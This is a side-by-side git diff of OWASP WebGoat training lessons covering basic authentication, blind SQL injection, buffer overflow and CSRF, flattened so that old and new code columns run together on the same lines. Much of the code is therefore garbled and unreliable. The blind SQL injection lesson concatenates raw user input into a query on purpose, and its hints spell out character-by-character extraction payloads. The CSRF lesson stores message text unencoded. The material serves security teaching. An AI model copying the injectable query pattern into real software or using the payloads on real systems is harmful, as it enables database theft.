hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
+ "the value in the Authorization cookie.");
// break;
// case 2:
hints
.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints
.add("Before the WebServer requests credentials from the client, the current "
+ "session is checked for validitity.");
hints
.add("If the session is invalid the webserver will use the basic authentication credentials");
hints
.add("If the session is invalid and the basic authentication credentials are invalid, "
+ "new credentials will be requested from the client.");
hints
.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
// break;
// }
return hints; return (ec);
} }
private final static Integer DEFAULT_RANKING = new Integer(100); /**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.AUTHENTICATION;
}
protected Integer getDefaultRanking() /**
{ * Gets the hints attribute of the HelloScreen object
return DEFAULT_RANKING; *
} * @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// int stage = getLessonTracker(session, BASIC).getStage();
// switch ( stage )
// {
// case 1:
hints.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints.add("Basic authentication uses Base64 encoding to 'scramble' the " + "user's login credentials.");
hints.add("Basic authentication uses 'Authorization' as the cookie name to " + "store the user's credentials.");
hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
+ "the value in the Authorization cookie.");
// break;
// case 2:
hints.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints.add("Before the WebServer requests credentials from the client, the current "
+ "session is checked for validitity.");
hints.add("If the session is invalid the webserver will use the basic authentication credentials");
hints.add("If the session is invalid and the basic authentication credentials are invalid, "
+ "new credentials will be requested from the client.");
hints.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
// break;
// }
/** return hints;
* Gets the title attribute of the HelloScreen object }
*
* @return The title value private final static Integer DEFAULT_RANKING = new Integer(100);
*/
public String getTitle() protected Integer getDefaultRanking()
{ {
return ("Basic Authentication"); return DEFAULT_RANKING;
} }
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Basic Authentication");
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -16,302 +16,294 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web * @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web site</a> (this lesson
* site</a> (this lesson is heavily based on Bruce Mayhews' SQL * is heavily based on Bruce Mayhews' SQL Injection lesson
* Injection lesson
* @created January 14, 2005 * @created January 14, 2005
*/ */
public class BlindSqlInjection extends LessonAdapter public class BlindSqlInjection extends LessonAdapter
{ {
private final static String ACCT_NUM = "account_number"; private final static String ACCT_NUM = "account_number";
private final static int TARGET_ACCT_NUM = 15613; private final static int TARGET_ACCT_NUM = 15613;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Enter your Account Number: ")); try
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
String answer_query;
if (runningOnWindows())
{
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
+ TARGET_ACCT_NUM;
} else
{
answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
}
try
{
Statement answer_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first();
System.out.println("Account: " + accountNumber );
System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1)))
{ {
makeSuccess(s); Connection connection = DatabaseUtilities.getConnection(s);
} else
ec.addElement(new P().addElement("Enter your Account Number: "));
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
String answer_query;
if (runningOnWindows())
{
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
}
else
{
answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
}
try
{
Statement answer_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first();
System.out.println("Account: " + accountNumber);
System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1)))
{
makeSuccess(s);
}
else
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement(new P().addElement("Account number is valid"));
}
else
{
ec.addElement(new P().addElement("Invalid account number"));
}
}
} catch (SQLException sqle)
{
ec.addElement(new P().addElement("An error occurred, please try again."));
}
} catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName());
Statement statement = connection.createStatement( e.printStackTrace();
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement(new P().addElement("Account number is valid"));
} else
{
ec.addElement(new P().addElement("Invalid account number"));
}
} }
}
catch (SQLException sqle) return (ec);
{
ec.addElement(new P().addElement("An error occurred, please try again."));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec); /**
} * Gets the category attribute of the SqlInjection object
*
/** * @return The category value
* Gets the category attribute of the SqlInjection object */
* protected Category getDefaultCategory()
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
public Element getCredits()
{
return new StringElement("By Chuck Willis");
}
/**
*
* Determines the OS that WebGoat is running on. Needed because different DB
* backends are used on the different OSes (Access on Windows, InstantDB on
* others)
*
* @return true if running on Windows, false otherwise
*/
private boolean runningOnWindows()
{
String os = System.getProperty("os.name", "Windows");
if (os.toLowerCase().indexOf("window") != -1)
{ {
return true; return Category.INJECTION;
} else
{
return false;
} }
}
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the credits attribute of the AbstractLesson object
* *
* @return The hints value * @return The credits value
*/ */
protected List<String> getHints(WebSession s) public Element getCredits()
{
List<String> hints = new ArrayList<String>();
if (runningOnWindows())
{ {
hints return new StringElement("By Chuck Willis");
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <"
+ "<br><br>The backend database is Microsoft Access. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints
.add("Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints
.add("Another example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
} else
{
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <");
hints
.add("The database backend is InstantDB. Here is a reference guide : <a href=\"http://www.instantdb.com/doc/syntax.html\" target=\"_blank\">http://www.instantdb.com/doc/syntax.html</a>");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br> example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
} }
return hints;
}
/** /**
* Gets the instructions attribute of the SqlInjection object *
* * Determines the OS that WebGoat is running on. Needed because different DB backends are used
* @return The instructions value * on the different OSes (Access on Windows, InstantDB on others)
*/ *
public String getInstructions(WebSession s) * @return true if running on Windows, false otherwise
{ */
String instructions = "The form below allows a user to enter an account number and determine if " private boolean runningOnWindows()
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 "
+ "<br><br>The goal is to find the value of "
+ "the first_name in table user_data for userid "
+ TARGET_ACCT_NUM
+ ". Put the discovered name in the form to pass the lesson. Only the discovered name "
+ "should be put into the form field, paying close attention to the spelling and capitalization.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Blind SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{ {
super.handleRequest(s); String os = System.getProperty("os.name", "Windows");
if (os.toLowerCase().indexOf("window") != -1)
{
return true;
}
else
{
return false;
}
} }
catch (Exception e)
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{ {
System.out.println("Exception caught: " + e); List<String> hints = new ArrayList<String>();
e.printStackTrace(System.out); if (runningOnWindows())
{
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <"
+ "<br><br>The backend database is Microsoft Access. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints
.add("Another example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
}
else
{
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <");
hints
.add("The database backend is InstantDB. Here is a reference guide : <a href=\"http://www.instantdb.com/doc/syntax.html\" target=\"_blank\">http://www.instantdb.com/doc/syntax.html</a>");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br>Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
hints
.add("THIS HINT IS FOR THE MS ACCESS DB. IT NEEDS TO BE ALTERED FOR THE INSTANTDB BACKEND. <br><br> example: is the second character of the first_name of userid "
+ TARGET_ACCT_NUM
+ " greater than 'm' (ascii 109)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
}
return hints;
}
/**
* Gets the instructions attribute of the SqlInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "The form below allows a user to enter an account number and determine if "
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 "
+ "<br><br>The goal is to find the value of " + "the first_name in table user_data for userid "
+ TARGET_ACCT_NUM
+ ". Put the discovered name in the form to pass the lesson. Only the discovered name "
+ "should be put into the form field, paying close attention to the spelling and capitalization.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Blind SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
} }
}
} }

View File

@ -1,110 +1,103 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class BufferOverflow extends LessonAdapter public class BufferOverflow extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
// just to get the generic how to text. {
return super.createContent(s); // just to get the generic how to text.
} return super.createContent(s);
}
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
/** return Category.BUFFER_OVERFLOW;
* Gets the category attribute of the ForgotPassword object }
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.BUFFER_OVERFLOW; /**
} * Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Lesson Hint 1");
hints.add("Lesson Hint 2");
return hints;
}
/** private final static Integer DEFAULT_RANKING = new Integer(15);
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Lesson Hint 1");
hints.add("Lesson Hint 2");
return hints; protected Integer getDefaultRanking()
} {
return DEFAULT_RANKING;
}
private final static Integer DEFAULT_RANKING = new Integer(15); /**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Buffer Overflow");
}
public Element getCredits()
protected Integer getDefaultRanking() {
{ return new StringElement("This screen created by: Your name could go here");
return DEFAULT_RANKING; }
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Buffer Overflow");
}
public Element getCredits()
{
return new StringElement(
"This screen created by: Your name could go here");
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.ResultSet;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -24,39 +24,40 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*
*/ */
public class CSRF extends LessonAdapter { public class CSRF extends LessonAdapter
{
private final static String MESSAGE = "message"; private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3; private final static int MESSAGE_COL = 3;
@ -66,236 +67,245 @@ public class CSRF extends LessonAdapter {
private final static String TITLE = "title"; private final static String TITLE = "title";
private final static int TITLE_COL = 2; private final static int TITLE_COL = 2;
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( // message
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/** /**
* Adds a feature to the Message attribute of the MessageBoardScreen object * Adds a feature to the Message attribute of the MessageBoardScreen object
* *
* @param s The feature to be added to the Message attribute * @param s
* The feature to be added to the Message attribute
*/ */
protected void addMessage( WebSession s ) protected void addMessage(WebSession s)
{ {
try try
{ {
String title = HtmlEncoder.encode( s.getParser().getRawParameter( TITLE, "" ) ); String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
String message = s.getParser().getRawParameter( MESSAGE, "" ); String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection( s ); Connection connection = DatabaseUtilities.getConnection(s);
String query = "INSERT INTO messages VALUES (?, ?, ?, ? )"; String query = "INSERT INTO messages VALUES (?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++); statement.setInt(1, count++);
statement.setString(2, title); statement.setString(2, title);
statement.setString(3, message); statement.setString(3, message);
statement.setString(4, s.getUserName()); statement.setString(4, s.getUserName());
statement.executeUpdate(); statement.execute();
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Could not add message to database" ); s.setMessage("Could not add message to database");
} }
} }
@Override @Override
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
addMessage( s ); addMessage(s);
ec.addElement( makeInput( s ) ); ec.addElement(makeInput(s));
ec.addElement( new HR() ); ec.addElement(new HR());
ec.addElement( makeCurrent( s ) ); ec.addElement(makeCurrent(s));
ec.addElement( new HR() ); ec.addElement(new HR());
ec.addElement( makeList( s ) ); ec.addElement(makeList(s));
return ec; return ec;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
* @return Description of the Return Value
*/ */
protected Element makeInput( WebSession s ) protected Element makeInput(WebSession s)
{ {
Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 ); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement( new TD( new StringElement( "Title: " ) ) ); row1.addElement(new TD(new StringElement("Title: ")));
Input inputTitle = new Input( Input.TEXT, TITLE, "" ); Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement( new TD( inputTitle ) ); row1.addElement(new TD(inputTitle));
TD item1 = new TD(); TD item1 = new TD();
item1.setVAlign( "TOP" ); item1.setVAlign("TOP");
item1.addElement( new StringElement( "Message: " ) ); item1.addElement(new StringElement("Message: "));
row2.addElement( item1 ); row2.addElement(item1);
TD item2 = new TD(); TD item2 = new TD();
TextArea ta = new TextArea( MESSAGE, 5, 60 ); TextArea ta = new TextArea(MESSAGE, 5, 60);
item2.addElement( ta ); item2.addElement(ta);
row2.addElement( item2 ); row2.addElement(item2);
t.addElement( row1 ); t.addElement(row1);
t.addElement( row2 ); t.addElement(row2);
Element b = ECSFactory.makeButton( "Submit" ); Element b = ECSFactory.makeButton("Submit");
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement( t ); ec.addElement(t);
ec.addElement( new P().addElement( b ) ); ec.addElement(new P().addElement(b));
return ( ec ); return (ec);
} }
/** /**
